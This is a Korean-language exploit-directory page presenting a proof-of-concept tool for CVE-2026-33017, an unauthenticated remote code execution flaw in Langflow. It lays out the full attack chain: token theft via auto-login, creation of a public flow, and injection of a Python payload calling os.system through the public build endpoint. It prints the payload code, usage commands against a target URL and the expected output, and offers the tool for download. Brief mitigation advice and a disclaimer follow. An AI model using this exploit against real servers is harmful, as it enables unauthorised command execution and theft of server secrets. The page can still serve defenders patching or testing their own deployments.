Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/r3nsi15/cve-2026-33017-langflow-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubr3nsi15/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

CVE-2026-33017에 대한 개념 증명 익스플로잇으로, 공개 빌드 엔드포인트를 통해 악의적인 CustomComponent 주입을 이용하여 Langflow에서 인증되지 않은 원격 코드 실행을 시연합니다.

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33017 — Langflow 인증되지 않은 원격 코드 실행 (RCE)

개요

CVE ID: CVE-2026-33017
영향받는 소프트웨어: Langflow 취약한 버전: <= 1.8.2 수정 버전: >= 1.9.0 심각도: 치명적
작성자: r3nsi15
날짜: 2026

설명

Langflow는 공개 플로우 빌드 엔드포인트(/api/v1/build_public_tmp/{flowID}/flow)를 노출하며, 인증 없이 임의의 CustomComponent 코드 블록을 수락하고 서버 측에서 실행합니다. 악의적인 Python 페이로드를 CustomComponent 노드의 code 필드에 주입함으로써, 인증되지 않은 공격자는 Langflow 서버 프로세스의 권한으로 임의의 운영 체제 명령을 실행할 수 있습니다.

공격 체인은 먼저 /api/v1/auto_login 엔드포인트를 남용합니다. 이 엔드포인트는 Langflow가 기본 자동 로그인 구성으로 실행될 때 자격 증명 없이 베어러 토큰을 발급합니다. 그런 다음 해당 토큰을 사용하여 임시 공개 플로우를 생성하고 빌드 엔드포인트를 통해 서버 측 코드 실행을 트리거합니다.

영향을 받는 엔드포인트

엔드포인트메소드인증 필요목적
/api/v1/auto_loginGET아니요베어러 토큰 획득 (자동 로그인이 활성화되어 있어야 함)
/api/v1/flows/POST예 (Bearer)새 플로우 생성
/api/v1/build_public_tmp/{flowID}/flowPOST아니요 (공개)빌드 트리거 — 취약한 실행 지점
/api/v1/flows/{flowID}DELETE예 (Bearer)생성된 플로우 정리

개념 증명

파일: CVE-2026-33017_POC.py

요구 사항

  • Python 3.x
  • requests 라이브러리
  • 자동 로그인이 활성화된 Langflow 인스턴스에 대한 네트워크 접근
root@kitploit:~
pip install requests

사용법

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <대상_URL> -c <명령어> [-d]

인수

플래그긴 형식필수 여부설명
-u--url예Langflow 인스턴스의 기본 URL
-c--command예서버에서 실행할 OS 명령어
-d--delete아니요익스플로잇 후 생성된 플로우 삭제

예제

코드 실행 확인:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

서버 환경 변수 검색:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

익스플로잇 후 플로우 유지 (정리 건너뛰기):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

예상 출력

root@kitploit:~
[+] 토큰 획득
[+] 플로우 생성됨, ID: <id>
[+] 익스플로잇 전송 성공!
[+] 플로우 삭제 성공!

페이로드 분석

익스플로잇은 CustomComponent 노드의 code 필드에 다음 Python 스니펫을 주입합니다:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<명령어>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="결과", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - os 모듈을 동적으로 가져와 공격자가 제공한 셸 명령을 서버에서 실행합니다.
  • 클래스 정의의 나머지 부분은 Langflow의 컴포넌트 로더에서 구문 오류 없이 로드되도록 필요한 유효한 CustomComponent입니다.
  • 플로우가 PUBLIC으로 생성되고 빌드 엔드포인트가 공개 엔드포인트에서 호출되므로, 실행을 트리거하는 데 세션 쿠키나 인증 토큰이 필요하지 않습니다.

근본 원인

Langflow의 CustomComponent 시스템은 플로우 정의의 일부로 임의의 Python 코드를 제출할 수 있도록 허용합니다. /api/v1/build_public_tmp/{flowID}/flow 엔드포인트는 이 코드를 서버 측에서 빌드하고 부분적으로 평가하며, 모듈 수준의 명령문을 샌드박싱하거나 Python 내장 함수(예: __import__)에 대한 접근을 제한하지 않습니다.

공격 체인 요약

root@kitploit:~
1. GET /api/v1/auto_login          →  베어러 토큰 획득 (자격 증명 불필요)
2. POST /api/v1/flows/             →  PUBLIC 플로우 생성 (Bearer 토큰)
3. POST /api/v1/build_public_tmp/  →  악성 CustomComponent 주입 및 실행 (인증 불필요)
4. DELETE /api/v1/flows/{id}       →  정리 (선택 사항)

위의 네 단계 모두 기본 Langflow 배포에 대해 익명의 공격자가 수행할 수 있습니다.

해결 방안

  • 업그레이드 Langflow를 버전 1.9.0 이상으로 업그레이드하십시오.
  • 자동 로그인 비활성화 (LANGFLOW_AUTO_LOGIN=false) 인터넷에 노출된 배포에서.

면책 조항

이 개념 증명은 교육 및 공인된 보안 연구 목적으로만 제공됩니다. 명시적인 서면 허가 없이 이 스크립트를 시스템에 사용하는 것은 불법이며 비윤리적입니다. 작성자와 기여자는 오용에 대한 어떠한 책임도 지지 않습니다.

도구 다운로드